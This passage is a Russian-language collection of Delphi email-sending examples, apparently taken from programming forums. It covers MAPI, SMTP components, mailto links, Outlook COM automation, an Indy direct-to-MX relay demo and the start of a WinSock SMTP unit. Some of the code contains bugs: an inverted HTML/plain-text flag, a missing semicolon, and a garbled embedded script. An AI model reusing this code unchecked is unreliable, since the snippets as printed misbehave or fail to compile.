          PRecip^.ulRecipClass := MAPI_TO;
          { lpszName should carry the Name like in the
            contacts or the adress book, I will take the
            email adress to keep it short: }
          PRecip^.lpszName := PChar(FTOAdr.Strings[i - 1]);
          { Если Вы используете этот компонент совместно с Outlook97 или 2000
            (не Express версии) , то Вам прийдётся добавить
            'SMTP:' в начало каждого (email-) адреса.
          }
          PRecip^.lpszAddress := PChar('SMTP:' + FTOAdr.Strings[i - 1]);
          PRecip^.ulEIDSize := 0;
          PRecip^.lpEntryID := nil;
          Inc(PRecip);
        end;

        { То же самое проделываем с получателями копии письма: (CC, MAPI_CC) }
        for i := 1 to FCCAdr.Count do
        begin
          PRecip^.ulReserved := 0;
          PRecip^.ulRecipClass := MAPI_CC;
          PRecip^.lpszName := PChar(FCCAdr.Strings[i - 1]);
          PRecip^.lpszAddress := PChar('SMTP:' + FCCAdr.Strings[i - 1]);
          PRecip^.ulEIDSize := 0;
          PRecip^.lpEntryID := nil;
          Inc(PRecip);
        end;

        { ... тоже самое для Bcc: (BCC, MAPI_BCC) }
        for i := 1 to FBCCAdr.Count do
        begin
          PRecip^.ulReserved := 0;
          PRecip^.ulRecipClass := MAPI_BCC;
          PRecip^.lpszName := PChar(FBCCAdr.Strings[i - 1]);
          PRecip^.lpszAddress := PChar('SMTP:' + FBCCAdr.Strings[i - 1]);
          PRecip^.ulEIDSize := 0;
          PRecip^.lpEntryID := nil;
          Inc(PRecip);
        end;
      end;
      lpRecips := Recipients;

      { Теперь обработаем прикреплённые к письму файлы: }

      if FAttachedFileName.Count > 0 then
      begin
        nFileCount := FAttachedFileName.Count;
        GetMem(Attachments, MapiMessage.nFileCount * sizeof(TMapiFileDesc));

        PFiles := Attachments;

        { Во первых установим отображаемые на экране имена файлов (без пути): }
        FDisplayFileName.Clear;
        for i := 0 to FAttachedFileName.Count - 1 do
          FDisplayFileName.Add(ExtractFileName(FAttachedFileName[i]));

        if nFileCount > 0 then
        begin
          { Теперь составим структурку для прикреплённого файла: }
          for i := 1 to FAttachedFileName.Count do
          begin
            { Устанавливаем полный путь }
            Attachments^.lpszPathName := PChar(FAttachedFileName.Strings[i - 1]);
            { ... и имя, отображаемое на дисплее: }
            Attachments^.lpszFileName := PChar(FDisplayFileName.Strings[i - 1]);
            Attachments^.ulReserved := 0;
            Attachments^.flFlags := 0;
            { Положение должно быть -1, за разьяснениями обращайтесь в WinApi Help. }
            Attachments^.nPosition := Cardinal(-1);
            Attachments^.lpFileType := nil;
            Inc(Attachments);
          end;
        end;
        lpFiles := PFiles;
      end
      else
      begin
        nFileCount := 0;
        lpFiles := nil;
      end;
    end;

    { Send the Mail, silent or verbose:
      Verbose means in Express a Mail is composed and shown as setup.
      In non-Express versions we show the Login-Dialog for a new
      session and after we have choosen the profile to use, the
      composed email is shown before sending

      Silent does currently not work for non-Express version. We have
      no Session, no Login Dialog so the system refuses to compose a
      new email. In Express Versions the email is sent in the
      background.
     }
    if FShowDialog then
      MError := MapiSendMail(0, AppHandle, MapiMessage, MAPI_DIALOG or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0)
    else
      MError := MapiSendMail(0, AppHandle, MapiMessage, 0, 0);

    { Теперь обработаем сообщения об ошибках. В MAPI их присутствует достаточное.
      количество. В этом примере я обрабатываю только два из них: USER_ABORT и SUCCESS,
      относящиеся к специальным.

      Сообщения, не относящиеся к специальным:
      MAPI_E_AMBIGUOUS_RECIPIENT,
        MAPI_E_ATTACHMENT_NOT_FOUND,
        MAPI_E_ATTACHMENT_OPEN_FAILURE,
        MAPI_E_BAD_RECIPTYPE,
        MAPI_E_FAILURE,
        MAPI_E_INSUFFICIENT_MEMORY,
        MAPI_E_LOGIN_FAILURE,
        MAPI_E_TEXT_TOO_LARGE,
        MAPI_E_TOO_MANY_FILES,
        MAPI_E_TOO_MANY_RECIPIENTS,
        MAPI_E_UNKNOWN_RECIPIENT:
    }

    case MError of
      MAPI_E_USER_ABORT:
        begin
          if Assigned(FOnUserAbort) then
            FOnUserAbort(Self);
        end;
      SUCCESS_SUCCESS:
        begin
          if Assigned(FOnSuccess) then
            FOnSuccess(Self);
        end
    else begin
        if Assigned(FOnMapiError) then
          FOnMapiError(Self, MError);
      end;

    end;
  finally
    { В заключение освобождаем память }
    FreeMem(Recipients, MapiMessage.nRecipCount * sizeof(TMapiRecipDesc));
  end;
end;

{
  Вопросы и замечания присылайте Автору.
}

end.

Взято из http://forum.sources.ru


Пример работы с SMTP

unit Unit1;

interface

uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, ComCtrls, Psock, NMsmtp;

type
TForm1 = class(TForm)
  Memo: TRichEdit;
  Panel1: TPanel;
  SMTP: TNMSMTP;
  Panel2: TPanel;
  FromAddress: TEdit;
  predefined: TLabel;
  FromName: TEdit;
  Subject: TEdit;
  LocalProgram: TEdit;
  ReplyTo: TEdit;
  islog: TCheckBox;
  Host: TEdit;
  Port: TEdit;
  userid: TEdit;
  Button1: TButton;
  procedure Button1Click(Sender: TObject);
private
  Procedure CleanContext;
  procedure PerformConnection;
  procedure AddMessage(msg:string; color:integer);
  procedure log(inpt :string);
  Procedure SetSMTP;
public
  function SendEmail(_to, cc, bcc, Subject, body, attachment:string; HTMLFormat:boolean):boolean;
end;

var Form1: TForm1;

implementation
{$R *.DFM}

Procedure TForm1.SetSMTP;
begin
SMTP.Host:=Host.Text;
SMTP.Port:=strtoint(Port.text);
SMTP.UserID:=userid.text;
end;

Function GetEmailDateTime:string;
var tz:_time_Zone_information;
    s:string;
begin
GetTimeZoneInformation(tz);
if (tz.Bias*100 div 60)<1000 then
  s:=format(' -0%d',[tz.Bias*100 div 60])
else
  s:=format(' -%d',[tz.Bias*100 div 60]);
result:=formatdatetime('ddd, dd mmm yyyy hh:nn:ss',now)+s;
end;

Procedure TForm1.CleanContext;
{set default values, some of them comes from "Setup" form}
begin
SMTP.PostMessage.FromAddress:=FromAddress.text;
SMTP.PostMessage.FromName:=FromName.text;
SMTP.PostMessage.ToAddress.Clear;
SMTP.PostMessage.ToCarbonCopy.clear;
SMTP.PostMessage.ToBlindCarbonCopy.clear;
SMTP.PostMessage.Body.clear;
SMTP.PostMessage.Attachments.clear;
SMTP.PostMessage.Subject:=Subject.text;
SMTP.PostMessage.LocalProgram:=LocalProgram.text;
(*Mon, 27 Nov 2000 12:37:46 -0700*)
SMTP.PostMessage.Date:=GetEmailDateTime;
SMTP.PostMessage.ReplyTo:=ReplyTo.Text;
end;

procedure TForm1.log(inpt :string);
  var outf:textfile;
begin  {writing in the log file}
if not islog.checked then exit;
assignfile(outf, changefileext(paramstr(0), '.log'));
if fileexists(changefileext(paramstr(0), '.log')) then
  append(outf)
else
  rewrite(outf);
writeln(outf, datetimetostr(now)+'|'+inpt);
closefile(outf);
end;

procedure TForm1.AddMessage(msg:string; color:integer);
begin {showing in the memo field progress...}
while memo.lines.Count>2000 do memo.lines.Delete(0);
memo.sellength:=0;
memo.selstart:=length(memo.text);
memo.selattributes.Color:=Color;
memo.seltext:=#13#10+DateTimeTostr(now)+' '+msg;
memo.perform($00B7,0,0);
Application.ProcessMessages;
if color<>clRed then log(DateTimeTostr(now)+' '+msg) else log('Error: '+DateTimeTostr(now)+' '+msg);
end;

procedure TForm1.PerformConnection;
begin
while (not SMTP.connected) do
  begin
    SetSMTP;
    AddMessage('Connecting to SMTP',clBlue);
    application.processmessages;
    try
      SMTP.Connect;
      AddMessage('No Errors',clBlue);
    except
      on e:exception do AddMessage('Error conection: '+e.message,clBlue);
    end;
  end;
end;

Function TForm1.SendEmail(_to, cc, bcc, Subject, body,  attachment:string; HTMLFormat:boolean):boolean;
begin
PerformConnection;
result:=true;
CleanContext;
try
  if (attachment<>'') and (not Fileexists(attachment)) then
    begin
      AddMessage('Attachment is not ready yet ('+ attachment+') ', clNavy);
      sleep(300);
      result:=false;
      exit;
    end;
  SMTP.PostMessage.ToAddress.text:=StringReplace(_to, ';',#13#10, [rfReplaceAll, rfIgnoreCase]);
  if cc<>'' then SMTP.PostMessage.ToCarbonCopy.text:=StringReplace(cc, ';',#13#10, [rfReplaceAll, rfIgnoreCase]);
  if bcc<>'' then SMTP.PostMessage.ToBlindCarbonCopy.text:=StringReplace(bcc, ';',#13#10, [rfReplaceAll, rfIgnoreCase]);
  if Subject<>'' then SMTP.PostMessage.Subject:=Subject;
  if HTMLFormat then SMTP.SubType:=mtPlain else SMTP.SubType:=mtHtml;
  SMTP.PostMessage.Body.Text:=Body;
  if attachment<>'' then SMTP.PostMessage.Attachments.add(attachment);
  AddMessage('Sending to '+ _to, clGreen);
  SMTP.SendMail;
  AddMessage('Complete.'+#13#10, clGreen);
except
  on e:sysutils.exception do
    begin
      AddMessage(e.message, clRed);
      result:=false;
    end;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  SendEmail('somewhere@somedomain.ru', '', '', 'test', 'body',  '', False);
end;

end.

А это форма для этого примера:

object Form1: TForm1
Left = 278
Top = 108
Width = 539
Height = 480
Caption = 'Form1'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object Memo: TRichEdit
Left = 0
Top = 0
Width = 346
Height = 420
Align = alClient
Lines.Strings = ('Memo')
TabOrder = 0
end
object Panel1: TPanel
Left = 0
Top = 420
Width = 531
Height = 33
Align = alBottom
Caption = 'Panel1'
TabOrder = 1
object Button1: TButton
Left = 440
Top = 8
Width = 75
Height = 25
Caption = 'Button1'
TabOrder = 0
OnClick = Button1Click
end
end
object Panel2: TPanel
Left = 346
Top = 0
Width = 185
Height = 420
Align = alRight
Caption = 'Panel2'
TabOrder = 2
object predefined: TLabel
Left = 8
Top = 8
Width = 87
Height = 13
Caption = 'predefined values:'
end
object FromAddress: TEdit
Left = 24
Top = 32
Width = 121
Height = 21
TabOrder = 0
Text = 'FromAddress'
end
object FromName: TEdit
Left = 24
Top = 56
Width = 121
Height = 21
TabOrder = 1
Text = 'FromName'
end
object Subject: TEdit
Left = 24
Top = 80
Width = 121
Height = 21
TabOrder = 2
Text = 'Subject'
end
object LocalProgram: TEdit
Left = 24
Top = 104
Width = 121
Height = 21
TabOrder = 3
Text = 'LocalProgram'
end
object ReplyTo: TEdit
Left = 24
Top = 128
Width = 121
Height = 21
TabOrder = 4
Text = 'ReplyTo'
end
object islog: TCheckBox
Left = 32
Top = 168
Width = 97
Height = 17
Caption = 'islog'
TabOrder = 5
end
object Host: TEdit
Left = 24
Top = 240
Width = 121
Height = 21
TabOrder = 6
Text = 'Host'
end
object Port: TEdit
Left = 24
Top = 264
Width = 121
Height = 21
TabOrder = 7
Text = 'Port'
end
object userid: TEdit
Left = 24
Top = 288
Width = 121
Height = 21
TabOrder = 8
Text = 'userid'
end
end
object SMTP: TNMSMTP
Port = 25
ReportLevel = 0
EncodeType = uuMime
ClearParams = True
SubType = mtPlain
Charset = 'us-ascii'
Left = 296
Top = 32
end
end

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

В следующем примере E-mail отправляется автоматически сразу после нажатия кнопки.

ЗАМЕЧАНИЕ: Вам потребуется компонент 'TNMSMTP'. Этот компонент входит в поставляется с Delphi 4 и 5 и его можно найти на закладке 'Fastnet'.

procedure TForm1.Button1Click(Sender: TObject);
begin
NMSMTP1.Host := 'smtp.mailserver.com';
NMSMTP1.UserID := 'h.abdullah';
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddress := 'hasan@excite.com';
NMSMTP1.PostMessage.ToAddress.Text := 'someone@xmail.com';
NMSMTP1.PostMessage.Body.Text := 'Текст письма';
NMSMTP1.PostMessage.Subject := 'Тема письма';
NMSMTP1.SendMail;
end;

Взято из http://forum.sources.ru


Автозаполнение формы для нового письма

А вот пример автозаполнения формы для нового письма в почтовой программе установленной по умолчанию:

uses shellapi;
...
procedure TForm1.Button1Click(Sender: TObject);
begin
shellexecute(handle,
'Open',
'mailto:someone@somewhere.ru?subject=Regarding your advice&Body=First%20Line%0D%0ASecond%20line&CC=somebodyelse@somewhere.ru',
nil, nil, sw_restore);
end;

Немного пояснений:
1) Пробелы в тексте желательно заполнять сочетанием %20
2) Конец строки обозначать как %0D%0A
3) Поля отделять друг от друга символом &

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Использование COM объекта Outlook

Пример отсылки письма используя COM объект Outlook

uses Outlook_TLB;

var outlook : _application;

Procedure Init;
begin
  outlook := Coapplication_.Create;
end;

procedure SendEmail;
begin
  with Outlook.CreateItem(olMailItem) as mailitem do
    begin
      To_ := 'email@email.com';
      cc:='email2@email.com';
      Subject := 'This is subject line';
      Attachments.Add('FileName',1,1,'This is attachment');
      Body :='This is email body';
      Send;
    end;
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Автор: Eddie Shipman

Пример использует VB Script для Outlook, который позволяет произвести такую операцию. Создаётся OLE-объект - 'Outlook.Application' и в него передаётся скрипт.

Совместимость: все версии Delphi

Измените recipientaddress@recipienthost.com на Ваш собственный e-mail
адресс. У Вас должен быть проинсталирован Outlook,

{Я не уверен, что это будет работать в Outlook Express.}

Примечание Vit: Это точно не будет работать в Outlook Express

uses ComObj; {Delphi 5}

procedure TForm1.Button1Click(Sender: TObject);
Const
  // константы OlItemType
  olMailItem = 0;
  olAppointmentItem = 1;
  olContactItem = 2;
  olTaskItem  = 3;
  olJournalItem = 4;
  olNoteItem = 5;
  olPostItem = 6;
  // константы OlAttachmentType
  olByValue = 1;
  olByReference = 4;
  olEmbeddedItem = 5;
  olOLE = 6;

var
  myOlApp, myItem, myRecipient, myAttachments: OleVariant;
begin
  // файл VBScript для создания почтового сообщения и прикрепления к нему файла
  myOlApp := CreateOLEObject('Outlook.Application');
  myItem := myOlApp.CreateItem(olMailItem);
  myItem.Subject := 'This is the Subject';
  myRecipient := myItem.Recipients.Add('recipientaddress@recipienthost.com');
  myItem.Body := #13;
  myItem.Body := myItem.Body + #13;
  myItem.Body := myItem.Body + 'Hello,' + #13;
  myItem.Body := myItem.Body + 'This code created this message and '+
                               ' sent it and I didn''t even have' + #13;
  myItem.Body := myItem.Body + 'to click the send button!!!' + #13;
  myItem.Body := myItem.Body + #13;
  myItem.Body := myItem.Body + 'If you have any more problems, let me know' +
#13;
  myItem.Body := myItem.Body + 'rename to blah.vbs and run like this:' + #13;
  myItem.Body := myItem.Body + 'wscript c:\blah.vbs' + #13;
  myItem.Body := myItem.Body + #13;
  myItem.Body := myItem.Body + 'Eddie' + #13;
  myItem.Body := myItem.Body + #13;
  myItem.Body := myItem.Body + #13;
  myItem.Body := myItem.Body + 'const'+ #13;
  myItem.Body := myItem.Body + '  // константы OlItemType'+ #13;
  myItem.Body := myItem.Body + '  olMailItem = 0;'+ #13;
  myItem.Body := myItem.Body + '  olAppointmentItem = 1;'+ #13;
  myItem.Body := myItem.Body + '  olContactItem = 2;'+ #13;
  myItem.Body := myItem.Body + '  olTaskItem  = 3;'+ #13;
  myItem.Body := myItem.Body + '  olJournalItem = 4;'+ #13;
  myItem.Body := myItem.Body + '  olNoteItem = 5;'+ #13;
  myItem.Body := myItem.Body + '  olPostItem = 6;'+ #13;
  myItem.Body := myItem.Body + '  // OlAttachmentType constants'+ #13;
  myItem.Body := myItem.Body + '  olByValue = 1;'+ #13;
  myItem.Body := myItem.Body + '  olByReference = 4;'+ #13;
  myItem.Body := myItem.Body + '  olEmbeddedItem = 5;'+ #13;
  myItem.Body := myItem.Body + '  olOLE = 6;'+ #13;
  myItem.Body := myItem.Body + #13;
  myItem.Body := myItem.Body + 'var'+ #13;
  myItem.Body := myItem.Body + '  myOlApp, myItem, myRecipient, myAttachments:
OleVariant;'+ #13;
  myItem.Body := myItem.Body + 'begin'+ #13;
  myItem.Body := myItem.Body + '  myOlApp :=
CreateObject(''Outlook.Application'')' + #13;
  myItem.Body := myItem.Body + '  myItem := myOlApp.CreateItem(olMailItem)' +
#13;
  myItem.Body := myItem.Body + '  myItem.Subject := ''This is the Subject''' +
#13;
  myItem.Body := myItem.Body + '  myItem.Body := ''This is the body''' + #13;
  myItem.Body := myItem.Body + '  myRecipient := myItem.Recipients.Add
('recipientaddress@recipienthost.com')' + #13;
  myItem.Body := myItem.Body + '  myAttachments := myItem.Attachments' + #13;
  myItem.Body := myItem.Body + '  // Теперь прикрепим файлы...' + #13;
  myItem.Body := myItem.Body + '  myAttachments.Add ''C:\blah.txt'', olByValue,
1, ''Blah.txt Attachment''' + #13;
  myItem.Body := myItem.Body + '  myItem.Send' + #13;
  myItem.Body := myItem.Body + '  myOlApp := VarNull;' + #13;
  myItem.Body := myItem.Body + '  myItem := VarNull;' + #13;
  myItem.Body := myItem.Body + '  myRecipient := VarNull;' + #13;
  myItem.Body := myItem.Body + '  myAttachments := VarNull;' + #13;
  myItem.Body := myItem.Body + 'end;' + #13;
  // Теперь прикрепим файлы...
  myAttachments := myItem.Attachments;
  myAttachments.Add('C:\blah.txt', olByValue, 1, 'Blah.txt Attachment');
  myItem.Send
  myOlApp := VarNull;
  myItem := VarNull;
  myRecipient := VarNull;
  myAttachments := VarNull;
End;


Использование SMTP Relay Server

Использование SMTP Relay Server - отсылка письма напрямую минуя любые промежуточные сервера (пример взят из библиотеки Indy). Для отсылки письма с использованием компонентов Indy. Пример для Delphi 7 (скорее всего будет работать и в Delphi 6), для Kylix 3 нужны небольшие исправления для перевода в CLX приложение (сама функциональность та же).

Пример модуля:

unit fMain;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, IdComponent,
  IdUDPBase, IdUDPClient, IdDNSResolver, IdBaseComponent, IdMessage,
  StdCtrls, ExtCtrls, ComCtrls, IdAntiFreezeBase, IdAntiFreeze;

type
  TfrmMain = class(TForm)
    IdMessage: TIdMessage;
    IdDNSResolver: TIdDNSResolver;
    IdSMTP: TIdSMTP;
    Label1: TLabel;
    sbMain: TStatusBar;
    Label2: TLabel;
    edtDNS: TEdit;
    Label3: TLabel;
    Label4: TLabel;
    edtSender: TEdit;
    Label5: TLabel;
    edtRecipient: TEdit;
    Label6: TLabel;
    edtSubject: TEdit;
    Label7: TLabel;
    mmoMessageText: TMemo;
    btnSendMail: TButton;
    btnExit: TButton;
    IdAntiFreeze: TIdAntiFreeze;
    Label8: TLabel;
    edtTimeOut: TEdit;
    Label9: TLabel;
    Label10: TLabel;
    procedure btnExitClick(Sender: TObject);
    procedure btnSendMailClick(Sender: TObject);
  public
  fMailServers : TStringList;
  Function PadZero(s:String):String;
  Function GetMailServers:Boolean;
  Function ValidData : Boolean;
  Procedure SendMail; OverLoad;
  Function SendMail(aHost : String):Boolean; OverLoad;
  Procedure LockControls;
  procedure UnlockControls;
  Procedure Msg(aMessage:String);
  end;

var
  frmMain: TfrmMain;

implementation

{$R *.DFM}

procedure TfrmMain.btnExitClick(Sender: TObject);
begin
application.terminate;
end;

procedure TfrmMain.btnSendMailClick(Sender: TObject);
begin
Msg('');
LockControls;
if ValidData then SendMail;
UnlockControls;
Msg('');
end;

function TfrmMain.GetMailServers: Boolean;
var
  i,x : integer;
  LDomainPart : String;
  LMXRecord : TMXRecord;
begin
if not assigned(fmailServers) then fMailServers := TStringList.Create;
fmailServers.clear;
  Result := true;
  with IdDNSResolver do
  begin
  QueryResult.Clear;
  QueryRecords := [qtMX];
  Msg('Setting up DNS query parameters');
  Host := edtDNS.text;
  ReceiveTimeout := StrToInt(edtTimeOut.text);
  // Extract the domain part from recipient email address
  LDomainPart := copy(edtRecipient.text,pos('@',edtRecipient.text)+1,length(edtRecipient.text));
  // the domain name to resolve
  try
  Msg('Resolving DNS');
  Resolve(LDomainPart);
  if QueryResult.Count > 0 then
    begin
      for i := 0 to QueryResult.Count - 1 do
        begin
        LMXRecord := TMXRecord(QueryResult.Items[i]);
        fMailServers.Append(PadZero(IntToStr(LMXRecord.Preference)) + '=' + LMXRecord.ExchangeServer);
        end;
    // sort in order of priority and then remove extra data
    fMailServers.Sorted := false;
    for i := 0 to fMailServers.count - 1 do
      begin
      x := pos('=',fMailServers.Strings[i]);
      if x > 0 then fMailServers.Strings[i] :=
        copy(fMailServers.Strings[i],x+1,length(fMailServers.Strings[i]));
      end;
    fMailServers.Sorted := true;
    fMailServers.Duplicates := dupIgnore;
    Result := true;
    end
  else
    begin
    Msg('No response from DNS server');
    MessageDlg('There is no response from the DNS server !', mtInformation, [mbOK], 0);
    Result := false;
    end;
  except
  on E : Exception do
    begin
    Msg('Error resolving domain');
    MessageDlg('Error resolving domain: ' + e.message, mtInformation, [mbOK], 0);
    Result := false;
    end;
  end;
  end;
end;

// Used in DNS preferance sorting
procedure TfrmMain.LockControls;
var i : integer;
begin
edtDNS.enabled := false;
edtSender.enabled := false;
edtRecipient.enabled := false;
edtSubject.enabled := false;
mmoMessageText.enabled := false;
btnExit.enabled := false;
btnSendMail.enabled := false;
end;

procedure TfrmMain.UnlockControls;
begin
edtDNS.enabled := true;
edtSender.enabled := true;
edtRecipient.enabled := true;
edtSubject.enabled := true;
mmoMessageText.enabled := true;
btnExit.enabled := true;
btnSendMail.enabled := true;
end;

function TfrmMain.PadZero(s: String): String;
begin
if length(s) < 2 then s := '0' + s;
Result := s;
end;

procedure TfrmMain.SendMail;
var i : integer;
begin
if GetMailServers then
  begin
  with IdMessage do
    begin
    Msg('Assigning mail message properties');
    From.Text := edtSender.text;
    Sender.Text := edtSender.text;
    Recipients.EMailAddresses := edtRecipient.text;
    Subject := edtSubject.text;
    Body := mmoMessageText.Lines;
    end;
  for i := 0 to fMailServers.count -1 do
    begin
    Msg('Attempting to send mail');
    if SendMail(fMailServers.Strings[i]) then
      begin
      MessageDlg('Mail successfully sent and available for pickup by recipient !',
mtInformation, [mbOK], 0);
      Exit;
      end;
    end;
  // if we are here then something went wrong .. ie there were no available servers to accept our mail!
  MessageDlg('Could not send mail to remote server - please try again later.', mtInformation, [mbOK], 0);
  end;
if assigned(fMailServers) then FreeAndNil(fMailServers);
end;

function TfrmMain.SendMail(aHost: String): Boolean;
begin
Result := false;
with IdSMTP do
  begin
  Caption := 'Trying to sendmail via: ' + aHost;
  Msg('Trying to sendmail via: ' + aHost);
  Host := aHost;
  try
  Msg('Attempting connect');
  Connect;
  Msg('Successful connect ... sending message');
  Send(IdMessage);
  Msg('Attempting disconnect');
  Disconnect;
  msg('Successful disconnect');
  Result := true;
  except on E : Exception do
    begin
    if connected then try disconnect; except end;
    Msg('Error sending message');
    result := false;
    ShowMessage(E.Message);
    end;
  end;
  end;
Caption := '';
end;

function TfrmMain.ValidData: Boolean;
var ErrString:string;
begin
Result := True;
ErrString := '';
if trim(edtDNS.text) = '' then ErrString := ErrString +  #13 + #187 + 'DNS server not filled in';
if trim(edtSender.text) = '' then ErrString := ErrString + #13 + #187 + 'Sender email not filled in';
if trim(edtRecipient.text) = '' then ErrString := ErrString +  #13 + #187 + 'Recipient not filled in';
if ErrString <> '' then
  begin
  MessageDlg('Cannot proceed due to the following errors:'+#13+#10+ ErrString, mtInformation, [mbOK], 0);
  Result := False;
  end;
end;

procedure TfrmMain.Msg(aMessage: String);
begin
sbMain.SimpleText := aMessage;
application.ProcessMessages;
end;

end.

Форма для модуля:

object frmMain: TfrmMain
  Left = 243
  Top = 129
  Width = 448
  Height = 398
  Caption = 'INDY - SMTP Relay Demo'
  Color = clBtnFace
  Font.Charset = DEFAULT_CHARSET
  Font.Color = clWindowText
  Font.Height = -11
  Font.Name = 'MS Sans Serif'
  Font.Style = []
  OldCreateOrder = False
  PixelsPerInch = 96
  TextHeight = 13
  object Label1: TLabel
    Left = 7
    Top = 8
    Width = 311
    Height = 26
    Caption =
      'Demonstrates sending mail directly to a users mailbox on a remot' +
      'e mailserver - this negates the need for a local SMTP server'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clGray
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    ParentFont = False
    WordWrap = True
  end
  object Label2: TLabel
    Left = 8
    Top = 64
    Width = 111
    Height = 13
    Caption = 'DNS server IP address:'
  end
  object Label3: TLabel
    Left = 8
    Top = 123
    Width = 104
    Height = 13
    Caption = 'Sender email address:'
  end
  object Label4: TLabel
    Left = 288
    Top = 64
    Width = 49
    Height = 13
    Caption = 'Required !'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clGray
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    ParentFont = False
  end
  object Label5: TLabel
    Left = 8
    Top = 150
    Width = 115
    Height = 13
    Caption = 'Recipient email address:'
  end
  object Label6: TLabel
    Left = 8
    Top = 177
    Width = 72
    Height = 13
    Caption = 'Subject of mail:'
  end
  object Label7: TLabel
    Left = 8
    Top = 204
    Width = 66
    Height = 13
    Caption = 'Message text:'
  end
  object Label8: TLabel
    Left = 8
    Top = 91
    Width = 95
    Height = 13
    Caption = 'DNS server timeout:'
  end
  object Label9: TLabel
    Left = 336
    Top = 124
    Width = 49
    Height = 13
    Caption = 'Required !'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clGray
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    ParentFont = False
  end
  object Label10: TLabel
    Left = 336
    Top = 148
    Width = 49
    Height = 13
    Caption = 'Required !'
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clGray
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    ParentFont = False
  end
  object sbMain: TStatusBar
    Left = 0
    Top = 352
    Width = 440
    Height = 19
    Panels = <>
  end
  object edtDNS: TEdit
    Left = 128
    Top = 60
    Width = 153
    Height = 21
    TabOrder = 1
  end
  object edtSender: TEdit
    Left = 128
    Top = 119
    Width = 205
    Height = 21
    TabOrder = 2
  end
  object edtRecipient: TEdit
    Left = 128
    Top = 146
    Width = 205
    Height = 21
    TabOrder = 3
  end
  object edtSubject: TEdit
    Left = 128
    Top = 173
    Width = 205
    Height = 21
    TabOrder = 4
  end
  object mmoMessageText: TMemo
    Left = 128
    Top = 200
    Width = 205
    Height = 113
    TabOrder = 5
  end
  object btnSendMail: TButton
    Left = 258
    Top = 321
    Width = 75
    Height = 25
    Caption = 'Send mail !'
    TabOrder = 6
    OnClick = btnSendMailClick
  end
  object btnExit: TButton
    Left = 356
    Top = 8
    Width = 75
    Height = 25
    Caption = 'E&xit'
    TabOrder = 7
    OnClick = btnExitClick
  end
  object edtTimeOut: TEdit
    Left = 128
    Top = 87
    Width = 61
    Height = 21
    TabOrder = 8
    Text = '5000'
  end
  object IdMessage: TIdMessage
    AttachmentEncoding = 'MIME'
    BccList = <>
    CCList = <>
    Encoding = meMIME
    Recipients = <>
    ReplyTo = <>
    Left = 12
    Top = 236
  end
  object IdDNSResolver: TIdDNSResolver
    Port = 53
    ReceiveTimeout = 60
    QueryRecords = []
    Left = 12
    Top = 268
  end
  object IdSMTP: TIdSMTP
    MaxLineAction = maException
    ReadTimeout = 0
    Port = 25
    AuthenticationType = atNone
    Left = 12
    Top = 204
  end
  object IdAntiFreeze: TIdAntiFreeze
    Left = 12
    Top = 300
  end
end

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Send e-mails via WinSock API?

unit SMTP_Connections;
// *********************************************************************
//     Unit Name          : SMTP_Connections                           *
//     Author             : Melih SARICA (Non ZERO)                    *
//     Date               : 01/17/2004                                 *
//**********************************************************************

interface

uses
  Classes, StdCtrls;

const
  WinSock = 'wsock32.dll';
  Internet = 2;
  Stream  = 1;
  fIoNbRead = $4004667F;
  WinSMTP = $0001;
  LinuxSMTP = $0002;

type

  TWSAData = packed record
    wVersion: Word;
    wHighVersion: Word;
    szDescription: array[0..256] of Char;
    szSystemStatus: array[0..128] of Char;
    iMaxSockets: Word;
    iMaxUdpDg: Word;
    lpVendorInfo: PChar;
  end;
  PHost = ^THost;
  THost = packed record
    Name: PChar;
    aliases: ^PChar;
    addrtype: Smallint;
    Length: Smallint;
    addr: ^Pointer;
  end;

  TSockAddr = packed record
    Family: Word;
    Port: Word;
    Addr: Longint;
    Zeros: array[0..7] of Byte;
  end;

function WSAStartup(Version:word; Var Data:TwsaData):integer; stdcall; far; external winsock;
function socket(Family,Kind,Protocol:integer):integer; stdcall; far; external winsock;
function shutdown(Socket,How:Integer):integer; stdcall; far; external winsock;
function closesocket(socket:Integer):integer; stdcall; far; external winsock;
function WSACleanup:integer; stdcall; far; external winsock;
function bind(Socket:Integer; Var SockAddr:TSockAddr; AddrLen:integer):integer; stdcall; far; external winsock;
function listen(socket,flags:Integer):integer; stdcall; far; external winsock;
function connect(socket:Integer; Var SockAddr:TSockAddr; AddrLen:integer):integer; stdcall; far; external winsock;
function accept(socket:Integer; Var SockAddr:TSockAddr; Var AddrLen:Integer):integer; stdcall; far; external winsock;
function WSAGetLastError:integer; stdcall; far; external winsock;
function recv(socket:integer; data:pchar; datalen,flags:integer):integer; stdcall; far; external winsock;
function send(socket:integer; var data; datalen,flags:integer):integer; stdcall; far; external winsock;
function gethostbyname(HostName:PChar):PHost; stdcall; far; external winsock;
function WSAIsBlocking:boolean; stdcall; far; external winsock;
function WSACancelBlockingCall:integer; stdcall; far; external winsock;
function ioctlsocket(socket:integer; cmd: Longint; var arg: longint): Integer; stdcall; far; external winsock;
function gethostname(name:pchar; size:integer):integer; stdcall; far; external winsock;

